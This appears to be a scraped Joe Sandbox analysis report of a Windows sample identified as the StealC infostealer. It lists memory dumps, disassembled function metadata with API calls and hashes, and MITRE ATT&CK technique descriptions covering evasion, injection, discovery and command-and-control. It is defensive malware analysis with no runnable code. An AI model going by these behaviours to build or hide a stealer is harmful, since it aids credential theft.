Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 59a3401c5b9d8dbf36c47bc29df83552014fa7848ba0002fb234a95d96153ff9
Instruction ID: 91e10bf022c19499b8f85bd9762f11b4133d41e162297fa71118282fa7f4113d
Opcode Fuzzy Hash: 59a3401c5b9d8dbf36c47bc29df83552014fa7848ba0002fb234a95d96153ff9
Instruction Fuzzy Hash: B9112AB2904118ABDB14DFC9DD46BBEBBF8FB4CB12F10811AF645A2280D23D5940CBB5

Function 0050C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0050C74E

Part of subcall function 0050BF9F: __amsg_exit.LIBCMT ref: 0050BFAF

__getptd.LIBCMT ref: 0050C765
__amsg_exit.LIBCMT ref: 0050C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0050C797

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: c60e411f21fd839c119fa28192138bb2b2b298377100a930a607090a16b83136
Instruction ID: 67b8918670c8c310a7e3a3293c1509bc9a6af4b4e77d8c42675c7f0ca51c4108
Opcode Fuzzy Hash: c60e411f21fd839c119fa28192138bb2b2b298377100a930a607090a16b83136
Instruction Fuzzy Hash: 79F09A329407029BE721BBB8988FB8E3FA0BF81720F20424DF414A72D2DB6469419E56

Function 00504F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00508DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00508E0B

lstrcat.KERNEL32(?,00000000), ref: 00504F7A
lstrcat.KERNEL32(?,00511070), ref: 00504F97
lstrcat.KERNEL32(?,012D8AA0), ref: 00504FAB
lstrcat.KERNEL32(?,00511074), ref: 00504FBD

Part of subcall function 00504910: wsprintfA.USER32 ref: 0050492C
Part of subcall function 00504910: FindFirstFileA.KERNEL32(?,?), ref: 00504943

Part of subcall function 00504910: StrCmpCA.SHLWAPI(?,00510FDC), ref: 00504971
Part of subcall function 00504910: StrCmpCA.SHLWAPI(?,00510FE0), ref: 00504987
Part of subcall function 00504910: FindNextFileA.KERNEL32(000000FF,?), ref: 00504B7D
Part of subcall function 00504910: FindClose.KERNEL32(000000FF), ref: 00504B92

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d6368f37666929ee00c9987c5a5158b7562525fc91352ef66726201a8fddb610
Instruction ID: 71cea2ca14f7d2265ed7f9ecab251b44992c023565e6848259ef776742740044
Opcode Fuzzy Hash: d6368f37666929ee00c9987c5a5158b7562525fc91352ef66726201a8fddb610
Instruction Fuzzy Hash: 1D219876900209B7D754FB70DC4BEED373CBB94301F008558B6DA921D1EE799AC88B96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00509860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 004F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 004F4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00509C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 004F6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00505510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 005017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00507500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 005069F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 004F1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00506AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 004F47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 005051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON